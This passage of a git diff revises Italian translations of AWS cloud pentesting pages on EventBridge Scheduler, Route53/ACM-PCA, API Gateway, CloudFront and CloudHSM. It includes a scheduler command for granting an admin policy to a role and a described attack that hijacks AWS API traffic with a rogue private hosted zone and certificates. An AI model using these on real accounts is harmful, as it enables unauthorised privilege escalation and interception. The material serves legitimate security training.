alle azioni di servizio templated, puoi utilizzare **universal targets** in EventBridge Scheduler per invocare un'ampia gamma di operazioni API per molti servizi AWS. Gli universal targets offrono flessibilità per invocare quasi qualsiasi API. Un esempio può essere l'uso di universal targets aggiungendo "**AdminAccessPolicy**", utilizzando un ruolo che ha la policy "**putRolePolicy**": +Oltre alle azioni di servizio templated, puoi utilizzare **universal targets** in EventBridge Scheduler per invocare un'ampia gamma di operazioni API per molti servizi AWS. Gli universal targets offrono flessibilità per invocare quasi qualsiasi API. Un esempio può essere l'uso di universal targets aggiungendo "**AdminAccessPolicy**", utilizzando un ruolo che ha la policy "**putRolePolicy**": ```bash aws scheduler create-schedule \ --name GrantAdminToTargetRoleSchedule \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md index 684ad2949..abccccb42 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md @@ -11,16 +11,16 @@ Per ulteriori informazioni su Route53 controlla: ### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` > [!NOTE] -> Per eseguire questo attacco, l'account target deve già avere un [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** configurato nell'account, e le istanze EC2 nelle VPC devono già aver importato i certificati per fidarsi di esso. Con questa infrastruttura in atto, è possibile eseguire il seguente attacco per intercettare il traffico API di AWS. +> Per eseguire questo attacco l'account target deve già avere un [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** configurato nell'account, e le istanze EC2 nei VPC devono già aver importato i certificati per fidarsi di esso. Con questa infrastruttura in atto, è possibile eseguire il seguente attacco per intercettare il traffico API di AWS. Altri permessi **raccomandati ma non necessari per la parte di enumerazione**: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` -Assumendo che ci sia una VPC AWS con più applicazioni cloud-native che comunicano tra loro e con l'API di AWS. Poiché la comunicazione tra i microservizi è spesso crittografata TLS, deve esserci una CA privata per emettere i certificati validi per quei servizi. **Se viene utilizzato ACM-PCA** per questo e l'avversario riesce a ottenere **accesso per controllare sia route53 che acm-pca CA privata** con il set minimo di permessi descritti sopra, può **dirottare le chiamate dell'applicazione all'API di AWS** prendendo il controllo dei loro permessi IAM. +Assumendo che ci sia un VPC AWS con più applicazioni cloud-native che comunicano tra loro e con l'API di AWS. Poiché la comunicazione tra i microservizi è spesso crittografata TLS, deve esserci una CA privata per emettere i certificati validi per quei servizi. **Se viene utilizzato ACM-PCA** per questo e l'avversario riesce a ottenere **accesso per controllare sia route53 che acm-pca private CA** con il set minimo di permessi descritti sopra, può **dirottare le chiamate dell'applicazione all'API di AWS** prendendo il controllo dei loro permessi IAM. Questo è possibile perché: - Gli SDK di AWS non hanno [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) -- Route53 consente di creare Zone Ospitate Private e record DNS per i nomi di dominio delle API di AWS +- Route53 consente di creare Private Hosted Zone e record DNS per i nomi di dominio delle API di AWS - La CA privata in ACM-PCA non può essere limitata a firmare solo certificati per nomi comuni specifici **Impatto Potenziale:** Privesc indiretto intercettando informazioni sensibili nel traffico. diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index 9fbc9d3f8..348c3f41c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ -17,7 +17,7 @@ I servizi che rientrano nei servizi di container hanno le seguenti caratteristic ### Servizi Astratti -- Questi servizi sono **rimossi, astratti, dal livello della piattaforma o di gestione su cui sono costruite le applicazioni cloud**. +- Questi servizi sono **rimossi, astratti, dallo strato di piattaforma o di gestione su cui sono costruite le applicazioni cloud**. - I servizi sono accessibili tramite endpoint utilizzando le interfacce di programmazione delle applicazioni AWS, API. - L'**infrastruttura sottostante, il sistema operativo e la piattaforma sono gestiti da AWS**. - I servizi astratti forniscono una piattaforma multi-tenant su cui l'infrastruttura sottostante è condivisa. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md index 7750742b4..42500d79c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md @@ -8,23 +8,23 @@ AWS API Gateway è un servizio completo offerto da Amazon Web Services (AWS) progettato per gli sviluppatori per **creare, pubblicare e gestire API su larga scala**. Funziona come un punto di accesso a un'applicazione, consentendo agli sviluppatori di stabilire un insieme di regole e procedure. Questo insieme governa l'accesso che gli utenti esterni hanno a determinati dati o funzionalità all'interno dell'applicazione. -API Gateway ti consente di definire **come le richieste alle tue API devono essere gestite**, e può creare endpoint API personalizzati con metodi specifici (ad es., GET, POST, PUT, DELETE) e risorse. Può anche generare SDK client (Software Development Kits) per facilitare agli sviluppatori la chiamata delle tue API dalle loro applicazioni. +API Gateway consente di definire **come le richieste alle tue API devono essere gestite**, e può creare endpoint API personalizzati con metodi specifici (ad es., GET, POST, PUT, DELETE) e risorse. Può anche generare SDK client (Software Development Kits) per facilitare agli sviluppatori la chiamata delle tue API dalle loro applicazioni. ### Tipi di API Gateway -- **HTTP API**: Crea API REST a bassa latenza e costo efficace con funzionalità integrate come OIDC e OAuth2, e supporto nativo per CORS. Funziona con i seguenti: Lambda, backend HTTP. -- **WebSocket API**: Crea un'API WebSocket utilizzando connessioni persistenti per casi d'uso in tempo reale come applicazioni di chat o dashboard. Funziona con i seguenti: Lambda, HTTP, Servizi AWS. -- **REST API**: Sviluppa un'API REST dove hai il completo controllo sulla richiesta e sulla risposta insieme alle capacità di gestione delle API. Funziona con i seguenti: Lambda, HTTP, Servizi AWS. +- **HTTP API**: Crea API REST a bassa latenza e costo efficace con funzionalità integrate come OIDC e OAuth2, e supporto nativo per CORS. Funziona con: Lambda, backend HTTP. +- **WebSocket API**: Crea un'API WebSocket utilizzando connessioni persistenti per casi d'uso in tempo reale come applicazioni di chat o dashboard. Funziona con: Lambda, HTTP, AWS Services. +- **REST API**: Sviluppa un'API REST in cui hai il completo controllo sulla richiesta e sulla risposta insieme alle capacità di gestione delle API. Funziona con: Lambda, HTTP, AWS Services. - **REST API Privata**: Crea un'API REST accessibile solo dall'interno di una VPC. ### Componenti principali di API Gateway -1. **Risorse**: In API Gateway, le risorse sono i componenti che **costituiscono la struttura della tua API**. Rappresentano **i diversi percorsi o endpoint** della tua API e corrispondono alle varie azioni che la tua API supporta. Una risorsa è ogni metodo (ad es., GET, POST, PUT, DELETE) **all'interno di ogni percorso** (/, o /users, o /user/{id}). +1. **Risorse**: In API Gateway, le risorse sono i componenti che **costituiscono la struttura della tua API**. Rappresentano **i diversi percorsi o endpoint** della tua API e corrispondono alle varie azioni che la tua API supporta. Una risorsa è ogni metodo (ad es., GET, POST, PUT, DELETE) **all'interno di ciascun percorso** (/, o /users, o /user/{id}). 2. **Fasi**: Le fasi in API Gateway rappresentano **diverse versioni o ambienti** della tua API, come sviluppo, staging o produzione. Puoi utilizzare le fasi per gestire e distribuire **più versioni della tua API simultaneamente**, consentendoti di testare nuove funzionalità o correzioni di bug senza influenzare l'ambiente di produzione. Le fasi supportano anche **variabili di fase**, che sono coppie chiave-valore che possono essere utilizzate per configurare il comportamento della tua API in base alla fase attuale. Ad esempio, potresti utilizzare variabili di fase per indirizzare le richieste API a diverse funzioni Lambda o altri servizi backend a seconda della fase. - La fase è indicata all'inizio dell'URL dell'endpoint di API Gateway. 3. **Autenticatori**: Gli autenticatori in API Gateway sono responsabili di **controllare l'accesso alla tua API** verificando l'identità del chiamante prima di consentire la continuazione della richiesta. Puoi utilizzare **funzioni AWS Lambda** come autenticatori personalizzati, il che ti consente di implementare la tua logica di autenticazione e autorizzazione. Quando arriva una richiesta, API Gateway passa il token di autorizzazione della richiesta all'autenticatore Lambda, che elabora il token e restituisce una policy IAM che determina quali azioni il chiamante è autorizzato a eseguire. API Gateway supporta anche **autenticatori integrati**, come **AWS Identity and Access Management (IAM)** e **Amazon Cognito**. -4. **Policy delle risorse**: Una policy delle risorse in API Gateway è un documento JSON che **definisce le autorizzazioni per accedere alla tua API**. È simile a una policy IAM ma specificamente adattata per API Gateway. Puoi utilizzare una policy delle risorse per controllare chi può accedere alla tua API, quali metodi possono chiamare e da quali indirizzi IP o VPC possono connettersi. **Le policy delle risorse possono essere utilizzate in combinazione con gli autenticatori** per fornire un controllo degli accessi dettagliato per la tua API. -- Per rendere effettiva la modifica, l'API deve essere **ridistribuita dopo** che la policy delle risorse è stata modificata. +4. **Policy delle risorse**: Una policy delle risorse in API Gateway è un documento JSON che **definisce i permessi per accedere alla tua API**. È simile a una policy IAM ma specificamente adattata per API Gateway. Puoi utilizzare una policy delle risorse per controllare chi può accedere alla tua API, quali metodi possono chiamare e da quali indirizzi IP o VPC possono connettersi. **Le policy delle risorse possono essere utilizzate in combinazione con gli autenticatori** per fornire un controllo degli accessi dettagliato per la tua API. +- Per avere effetto, l'API deve essere **ridistribuita dopo** che la policy delle risorse è stata modificata. ### Registrazione @@ -139,7 +139,7 @@ Nell'esempio seguente puoi vedere che l'**IP indicato non può chiamare** l'endp
-Quando questo è impostato, riceverai l'errore `{"message":"Missing Authentication Token"}` quando cerchi di raggiungere l'endpoint senza alcuna autorizzazione. +Quando questo è impostato, riceverai l'errore `{"message":"Missing Authentication Token"}` quando provi a raggiungere l'endpoint senza alcuna autorizzazione. Un modo semplice per generare il token atteso dall'applicazione è utilizzare **curl**. ```bash @@ -149,7 +149,7 @@ Un altro modo è utilizzare il tipo **`Authorization`** **`AWS Signature`** all'
-Imposta l'accessKey e la SecretKey dell'account che desideri utilizzare e puoi autenticarti contro l'endpoint API. +Imposta l'accessKey e il SecretKey dell'account che desideri utilizzare e puoi autenticarti contro l'endpoint API. Entrambi i metodi genereranno un **Authorization** **header** come: ``` @@ -157,7 +157,7 @@ AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/ ``` Nota che in altri casi l'**Authorizer** potrebbe essere stato **mal codificato** e inviare **qualsiasi cosa** all'interno dell'**Authorization header** **permetterà di vedere il contenuto nascosto**. -### Request Signing Using Python +### Richiesta di Firma Utilizzando Python ```python pip install requests @@ -184,14 +184,14 @@ response = requests.get(url, auth=awsauth) print(response.text) ``` -### Custom Lambda Authorizer +### Autenticatore Lambda Personalizzato -È possibile utilizzare un lambda che, basato su un determinato token, **restituirà una policy IAM** che indica se l'utente è **autorizzato a chiamare l'endpoint API**.\ +È possibile utilizzare un lambda che, basato su un dato token, **restituirà una policy IAM** che indica se l'utente è **autorizzato a chiamare l'endpoint API**.\ Puoi impostare ogni metodo di risorsa che utilizzerà l'autenticatore.
-Esempio di codice Lambda Authorizer +Esempio di Codice dell'Autenticatore Lambda ```python import json diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md index 6c1aa854f..4e6b9521e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md @@ -4,11 +4,11 @@ ## Informazioni di base -**AWS Certificate Manager (ACM)** è fornito come servizio volto a semplificare il **provisioning, la gestione e il deployment dei certificati SSL/TLS** per i servizi AWS e le risorse interne. La necessità di processi manuali, come l'acquisto, il caricamento e il rinnovo dei certificati, è **eliminata** da ACM. Questo consente agli utenti di richiedere e implementare certificati in modo efficiente su varie risorse AWS, inclusi **Elastic Load Balancers, distribuzioni Amazon CloudFront e API su API Gateway**. +**AWS Certificate Manager (ACM)** è fornito come servizio volto a semplificare il **provisioning, la gestione e il deployment dei certificati SSL/TLS** per i servizi AWS e le risorse interne. La necessità di processi manuali, come l'acquisto, il caricamento e il rinnovo dei certificati, è **eliminata** da ACM. Questo consente agli utenti di richiedere e implementare in modo efficiente certificati su varie risorse AWS, inclusi **Elastic Load Balancers, distribuzioni Amazon CloudFront e API su API Gateway**. Una caratteristica chiave di ACM è il **rinnovo automatico dei certificati**, che riduce significativamente il carico di gestione. Inoltre, ACM supporta la creazione e la gestione centralizzata di **certificati privati per uso interno**. Sebbene i certificati SSL/TLS per i servizi AWS integrati come Elastic Load Balancing, Amazon CloudFront e Amazon API Gateway siano forniti senza costi aggiuntivi tramite ACM, gli utenti sono responsabili dei costi associati alle risorse AWS utilizzate dalle loro applicazioni e di una tariffa mensile per ogni **Certificate Authority (CA) privata** e certificati privati utilizzati al di fuori dei servizi integrati di ACM. -**AWS Private Certificate Authority** è offerto come un **servizio CA privato gestito**, migliorando le capacità di ACM estendendo la gestione dei certificati per includere certificati privati. Questi certificati privati sono fondamentali per autenticare le risorse all'interno di un'organizzazione. +**AWS Private Certificate Authority** è offerto come un **servizio CA privato gestito**, migliorando le capacità di ACM estendendo la gestione dei certificati per includere certificati privati. Questi certificati privati sono strumentali per autenticare le risorse all'interno di un'organizzazione. ## Enumerazione diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md index 9a6de04de..620464408 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md @@ -4,15 +4,15 @@ ## CloudFront -CloudFront è la **rete di distribuzione dei contenuti di AWS che accelera la distribuzione** dei tuoi contenuti statici e dinamici attraverso la sua rete mondiale di località edge. Quando utilizzi una richiesta di contenuto che stai ospitando tramite Amazon CloudFront, la richiesta viene instradata alla località edge più vicina, che fornisce la latenza più bassa per offrire le migliori prestazioni. Quando i **log di accesso di CloudFront** sono abilitati, puoi registrare la richiesta di ogni utente che richiede accesso al tuo sito web e alla distribuzione. Come per i log di accesso S3, anche questi log sono **archiviati su Amazon S3 per un'archiviazione durevole e persistente**. Non ci sono costi per abilitare il logging stesso, tuttavia, poiché i log sono archiviati in S3, ti verrà addebitato per lo spazio di archiviazione utilizzato da S3. +CloudFront è la **rete di distribuzione dei contenuti di AWS che accelera la distribuzione** dei tuoi contenuti statici e dinamici attraverso la sua rete mondiale di località edge. Quando utilizzi una richiesta di contenuto che stai ospitando tramite Amazon CloudFront, la richiesta viene instradata alla località edge più vicina, che fornisce la latenza più bassa per offrire le migliori prestazioni. Quando i **log di accesso di CloudFront** sono abilitati, puoi registrare la richiesta di ciascun utente che richiede accesso al tuo sito web e alla tua distribuzione. Come per i log di accesso S3, anche questi log sono **archiviati su Amazon S3 per uno storage durevole e persistente**. Non ci sono costi per abilitare il logging stesso, tuttavia, poiché i log sono archiviati in S3, ti verrà addebitato lo storage utilizzato da S3. -I file di log catturano dati nel corso del tempo e a seconda della quantità di richieste ricevute da Amazon CloudFront per quella distribuzione, dipenderà dalla quantità di file di log generati. È importante sapere che questi file di log non vengono creati o scritti su S3. S3 è semplicemente dove vengono consegnati una volta che il file di log è pieno. **Amazon CloudFront conserva questi log fino a quando non sono pronti per essere consegnati a S3**. Ancora una volta, a seconda delle dimensioni di questi file di log, questa consegna può richiedere **da una a 24 ore**. +I file di log catturano dati nel corso del tempo e a seconda della quantità di richieste ricevute da Amazon CloudFront per quella distribuzione, dipenderà dalla quantità di file di log generati. È importante sapere che questi file di log non vengono creati o scritti su S3. S3 è semplicemente dove vengono consegnati una volta che il file di log è pieno. **Amazon CloudFront conserva questi log fino a quando non sono pronti per essere consegnati a S3**. Ancora una volta, a seconda delle dimensioni di questi file di log, questa consegna può richiedere **tra una e 24 ore**. -**Per impostazione predefinita, il logging dei cookie è disabilitato**, ma puoi abilitarlo. +**Per impostazione predefinita, il logging dei cookie è disabilitato** ma puoi abilitarlo. ### Functions -Puoi creare funzioni in CloudFront. Queste funzioni avranno il loro **endpoint in cloudfront** definito e eseguiranno un **codice NodeJS** dichiarato. Questo codice verrà eseguito all'interno di un **sandbox** su una macchina gestita da AWS (avresti bisogno di un bypass del sandbox per riuscire a sfuggire al sistema operativo sottostante). +Puoi creare funzioni in CloudFront. Queste funzioni avranno il loro **endpoint in cloudfront** definito e eseguiranno un **codice NodeJS** dichiarato. Questo codice verrà eseguito all'interno di un **sandbox** su una macchina che gira sotto una macchina gestita da AWS (avresti bisogno di un bypass del sandbox per riuscire a fuggire verso il sistema operativo sottostante). Poiché le funzioni non vengono eseguite nell'account AWS degli utenti, non è allegato alcun ruolo IAM, quindi non è possibile un accesso privilegiato diretto abusando di questa funzionalità. @@ -27,7 +27,7 @@ aws cloudfront get-function --name TestFunction function_code.js aws cloudfront list-distributions | jq ".DistributionList.Items[] | .Id, .Origins.Items[].Id, .Origins.Items[].DomainName, .AliasICPRecordals[].CNAME" ``` -## Accesso Non Autenticato +## Accesso non autenticato {{#ref}} ../aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md index 11d4cf262..e01c1043e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md @@ -4,43 +4,43 @@ ## HSM - Hardware Security Module -Cloud HSM è un **dispositivo hardware** convalidato FIPS 140 livello due per la memorizzazione sicura delle chiavi crittografiche (nota che CloudHSM è un apparecchio hardware, non è un servizio virtualizzato). È un apparecchio SafeNetLuna 7000 con 5.3.13 preinstallato. Ci sono due versioni del firmware e quale scegliere dipende davvero dalle tue esigenze specifiche. Una è per la conformità FIPS 140-2 e c'era una versione più recente che può essere utilizzata. +Cloud HSM è un **dispositivo hardware** validato FIPS 140 livello due per la memorizzazione sicura delle chiavi crittografiche (nota che CloudHSM è un appliance hardware, non è un servizio virtualizzato). È un appliance SafeNetLuna 7000 con 5.3.13 preinstallato. Ci sono due versioni del firmware e quale scegliere dipende davvero dalle tue esigenze specifiche. Una è per la conformità FIPS 140-2 e c'era una versione più recente che può essere utilizzata. -La caratteristica insolita di CloudHSM è che è un dispositivo fisico, e quindi **non è condiviso con altri clienti**, o come viene comunemente definito, multi-tenant. È un apparecchio dedicato a un singolo tenant esclusivamente reso disponibile per i tuoi carichi di lavoro. +La caratteristica insolita di CloudHSM è che è un dispositivo fisico, e quindi **non è condiviso con altri clienti**, o come viene comunemente definito, multi-tenant. È un appliance dedicato a un singolo tenant esclusivamente reso disponibile per i tuoi carichi di lavoro. Tipicamente, un dispositivo è disponibile entro 15 minuti, assumendo che ci sia capacità, ma in alcune zone potrebbe non esserci. -Poiché questo è un dispositivo fisico dedicato a te, **le chiavi sono memorizzate sul dispositivo**. Le chiavi devono essere **replicate su un altro dispositivo**, salvate su uno storage offline, o esportate su un apparecchio di riserva. **Questo dispositivo non è supportato** da S3 o da nessun altro servizio di AWS come KMS. +Poiché questo è un dispositivo fisico dedicato a te, **le chiavi sono memorizzate sul dispositivo**. Le chiavi devono essere **replicate su un altro dispositivo**, salvate su uno storage offline, o esportate su un appliance di riserva. **Questo dispositivo non è supportato** da S3 o da qualsiasi altro servizio di AWS come KMS. -In **CloudHSM**, devi **scalare il servizio da solo**. Devi provvedere a un numero sufficiente di dispositivi CloudHSM per gestire le tue esigenze di crittografia in base agli algoritmi di crittografia che hai scelto di implementare per la tua soluzione.\ -La scalabilità del Key Management Service è gestita da AWS e si scala automaticamente su richiesta, quindi man mano che il tuo utilizzo cresce, potrebbe crescere anche il numero di apparecchi CloudHSM richiesti. Tieni presente questo mentre scaldi la tua soluzione e se la tua soluzione ha auto-scaling, assicurati che la tua scala massima sia considerata con un numero sufficiente di apparecchi CloudHSM per servire la soluzione. +In **CloudHSM**, devi **scalare il servizio da solo**. Devi fornire un numero sufficiente di dispositivi CloudHSM per gestire le tue esigenze di crittografia in base agli algoritmi di crittografia che hai scelto di implementare per la tua soluzione.\ +La scalabilità del Key Management Service è gestita da AWS e si scala automaticamente su richiesta, quindi man mano che il tuo utilizzo cresce, potrebbe crescere anche il numero di appliance CloudHSM richieste. Tieni presente questo mentre scaldi la tua soluzione e se la tua soluzione ha auto-scaling, assicurati che la tua scala massima sia contabilizzata con un numero sufficiente di appliance CloudHSM per servire la soluzione. -Proprio come la scalabilità, **le prestazioni dipendono da te con CloudHSM**. Le prestazioni variano in base all'algoritmo di crittografia utilizzato e a quanto spesso hai bisogno di accedere o recuperare le chiavi per crittografare i dati. Le prestazioni del servizio di gestione delle chiavi sono gestite da Amazon e si scalano automaticamente in base alla domanda. Le prestazioni di CloudHSM si ottengono aggiungendo più apparecchi e se hai bisogno di più prestazioni, devi aggiungere dispositivi o modificare il metodo di crittografia all'algoritmo più veloce. +Proprio come la scalabilità, **le prestazioni dipendono da te con CloudHSM**. Le prestazioni variano in base all'algoritmo di crittografia utilizzato e a quanto spesso hai bisogno di accedere o recuperare le chiavi per crittografare i dati. Le prestazioni del servizio di gestione delle chiavi sono gestite da Amazon e si scalano automaticamente in base alla domanda. Le prestazioni di CloudHSM si ottengono aggiungendo più appliance e se hai bisogno di più prestazioni, devi aggiungere dispositivi o modificare il metodo di crittografia all'algoritmo più veloce. -Se la tua soluzione è **multi-regione**, dovresti aggiungere diversi **apparecchi CloudHSM nella seconda regione e risolvere la connettività interregionale con una connessione VPN privata** o qualche metodo per garantire che il traffico sia sempre protetto tra l'apparecchio a ogni livello della connessione. Se hai una soluzione multi-regione, devi pensare a come **replicare le chiavi e impostare ulteriori dispositivi CloudHSM nelle regioni in cui operi**. Puoi rapidamente trovarti in uno scenario in cui hai sei o otto dispositivi distribuiti su più regioni, abilitando la piena ridondanza delle tue chiavi di crittografia. +Se la tua soluzione è **multi-region**, dovresti aggiungere diverse **appliance CloudHSM nella seconda regione e risolvere la connettività cross-region con una connessione VPN privata** o qualche metodo per garantire che il traffico sia sempre protetto tra l'appliance a ogni livello della connessione. Se hai una soluzione multi-region, devi pensare a come **replicare le chiavi e impostare ulteriori dispositivi CloudHSM nelle regioni in cui operi**. Puoi rapidamente trovarti in uno scenario in cui hai sei o otto dispositivi distribuiti su più regioni, abilitando la piena ridondanza delle tue chiavi di crittografia. -**CloudHSM** è un servizio di classe enterprise per la memorizzazione sicura delle chiavi e può essere utilizzato come un **root di fiducia per un'impresa**. Può memorizzare chiavi private in PKI e chiavi di autorità di certificazione in implementazioni X509. Oltre alle chiavi simmetriche utilizzate in algoritmi simmetrici come AES, **KMS memorizza e protegge fisicamente solo le chiavi simmetriche (non può agire come un'autorità di certificazione)**, quindi se hai bisogno di memorizzare chiavi PKI e CA, un CloudHSM o due o tre potrebbero essere la tua soluzione. +**CloudHSM** è un servizio di classe enterprise per la memorizzazione sicura delle chiavi e può essere utilizzato come **root di fiducia per un'impresa**. Può memorizzare chiavi private in PKI e chiavi di autorità di certificazione in implementazioni X509. Oltre alle chiavi simmetriche utilizzate in algoritmi simmetrici come AES, **KMS memorizza e protegge fisicamente solo le chiavi simmetriche (non può agire come autorità di certificazione)**, quindi se hai bisogno di memorizzare chiavi PKI e CA, un CloudHSM o due o tre potrebbero essere la tua soluzione. -**CloudHSM è considerevolmente più costoso del Key Management Service**. CloudHSM è un apparecchio hardware, quindi hai costi fissi per provvedere al dispositivo CloudHSM, poi un costo orario per eseguire l'apparecchio. Il costo è moltiplicato per quanti più apparecchi CloudHSM sono necessari per soddisfare i tuoi requisiti specifici.\ +**CloudHSM è considerevolmente più costoso del Key Management Service**. CloudHSM è un appliance hardware, quindi hai costi fissi per fornire il dispositivo CloudHSM, poi un costo orario per eseguire l'appliance. Il costo è moltiplicato per quante più appliance CloudHSM sono necessarie per soddisfare i tuoi requisiti specifici.\ Inoltre, deve essere fatta una considerazione incrociata nell'acquisto di software di terze parti come le suite software SafeNet ProtectV e il tempo e lo sforzo di integrazione. Il Key Management Service è basato sull'uso e dipende dal numero di chiavi che hai e dalle operazioni di input e output. Poiché la gestione delle chiavi fornisce integrazione senza soluzione di continuità con molti servizi AWS, i costi di integrazione dovrebbero essere significativamente inferiori. I costi dovrebbero essere considerati un fattore secondario nelle soluzioni di crittografia. La crittografia è tipicamente utilizzata per la sicurezza e la conformità. -**Con CloudHSM solo tu hai accesso alle chiavi** e senza entrare troppo nei dettagli, con CloudHSM gestisci le tue chiavi. **Con KMS, tu e Amazon co-gestite le vostre chiavi**. AWS ha molte salvaguardie politiche contro gli abusi e **non può comunque accedere alle tue chiavi in nessuna delle due soluzioni**. La principale distinzione è la conformità in relazione alla proprietà e gestione delle chiavi, e con CloudHSM, questo è un apparecchio hardware che gestisci e mantieni con accesso esclusivo a te e solo a te. +**Con CloudHSM solo tu hai accesso alle chiavi** e senza entrare troppo nei dettagli, con CloudHSM gestisci le tue chiavi. **Con KMS, tu e Amazon co-gestite le vostre chiavi**. AWS ha molte salvaguardie politiche contro gli abusi e **non può comunque accedere alle tue chiavi in nessuna delle due soluzioni**. La principale distinzione è la conformità in relazione alla proprietà e gestione delle chiavi, e con CloudHSM, questo è un appliance hardware che gestisci e mantieni con accesso esclusivo a te e solo a te. ### Suggerimenti CloudHSM -1. Distribuisci sempre CloudHSM in un **setup HA** con almeno due apparecchi in **zone di disponibilità separate**, e se possibile, distribuisci un terzo sia in sede che in un'altra regione di AWS. +1. Distribuisci sempre CloudHSM in un **setup HA** con almeno due appliance in **zone di disponibilità separate**, e se possibile, distribuisci una terza sia in sede che in un'altra regione di AWS. 2. Fai attenzione quando **inizializzi** un **CloudHSM**. Questa azione **distruggerà le chiavi**, quindi o hai un'altra copia delle chiavi o sii assolutamente certo di non averne bisogno e di non averne mai, mai bisogno per decrittografare dati. 3. CloudHSM supporta solo **determinate versioni di firmware** e software. Prima di eseguire qualsiasi aggiornamento, assicurati che il firmware e/o il software siano supportati da AWS. Puoi sempre contattare il supporto AWS per verificare se la guida all'aggiornamento non è chiara. 4. La **configurazione di rete non dovrebbe mai essere cambiata.** Ricorda, è in un data center AWS e AWS monitora l'hardware di base per te. Questo significa che se l'hardware fallisce, lo sostituiranno per te, ma solo se sanno che è fallito. 5. Il **SysLog forward non dovrebbe essere rimosso o cambiato**. Puoi sempre **aggiungere** un forwarder SysLog per indirizzare i log al tuo strumento di raccolta. -6. La configurazione **SNMP** ha le stesse restrizioni di base della rete e della cartella SysLog. Questa **non dovrebbe essere cambiata o rimossa**. Una configurazione SNMP **aggiuntiva** va bene, assicurati solo di non cambiare quella già presente sull'apparecchio. -7. Un'altra interessante best practice di AWS è **non cambiare la configurazione NTP**. Non è chiaro cosa accadrebbe se lo facessi, quindi tieni presente che se non utilizzi la stessa configurazione NTP per il resto della tua soluzione, potresti avere due fonti di tempo. Sii consapevole di questo e sappi che il CloudHSM deve rimanere con la fonte NTP esistente. +6. La configurazione **SNMP** ha le stesse restrizioni di base della rete e della cartella SysLog. Questa **non dovrebbe essere cambiata o rimossa**. Una configurazione SNMP **aggiuntiva** va bene, assicurati solo di non cambiare quella già presente sull'appliance. +7. Un'altra interessante best practice di AWS è **non cambiare la configurazione NTP**. Non è chiaro cosa accadrebbe se lo facessi, quindi tieni presente che se non utilizzi la stessa configurazione NTP per il resto della tua soluzione, potresti avere due fonti di tempo. Fai attenzione a questo e sappi che il CloudHSM deve rimanere con la fonte NTP esistente. -Il costo iniziale per il lancio di CloudHSM è di $5,000 per allocare l'apparecchio hardware dedicato al tuo utilizzo, poi c'è un costo orario associato all'esecuzione di CloudHSM che attualmente è di $1.88 all'ora di operazione, o circa $1,373 al mese. +Il costo iniziale per il lancio di CloudHSM è di $5,000 per allocare l'appliance hardware dedicata al tuo uso, poi c'è un costo orario associato all'esecuzione di CloudHSM che attualmente è di $1.88 all'ora di operazione, o circa $1,373 al mese. Il motivo più comune per utilizzare CloudHSM sono gli standard di conformità che devi soddisfare per motivi normativi. **KMS non offre supporto per dati con chiavi asimmetriche. CloudHSM ti consente di memorizzare chiavi asimmetriche in modo sicuro**. -La **chiave pubblica è installata sull'apparecchio HSM durante la provisioning** in modo da poter accedere all'istanza CloudHSM tramite SSH. +La **chiave pubblica è installata sull'appliance HSM durante la fornitura** in modo da poter accedere all'istanza CloudHSM tramite SSH. ### Cos'è un Modulo di Sicurezza Hardware @@ -48,8 +48,8 @@ Un modulo di sicurezza hardware (HSM) è un dispositivo crittografico dedicato u Il modo in cui funziona un HSM può variare a seconda del modello specifico e del produttore, ma generalmente si verificano i seguenti passaggi: -1. **Generazione della chiave**: L'HSM genera una chiave crittografica casuale utilizzando un generatore di numeri casuali sicuro. -2. **Memorizzazione della chiave**: La chiave è **memorizzata in modo sicuro all'interno dell'HSM, dove può essere accessibile solo da utenti o processi autorizzati**. +1. **Generazione di chiavi**: L'HSM genera una chiave crittografica casuale utilizzando un generatore di numeri casuali sicuro. +2. **Memorizzazione delle chiavi**: La chiave è **memorizzata in modo sicuro all'interno dell'HSM, dove può essere accessibile solo da utenti o processi autorizzati**. 3. **Gestione delle chiavi**: 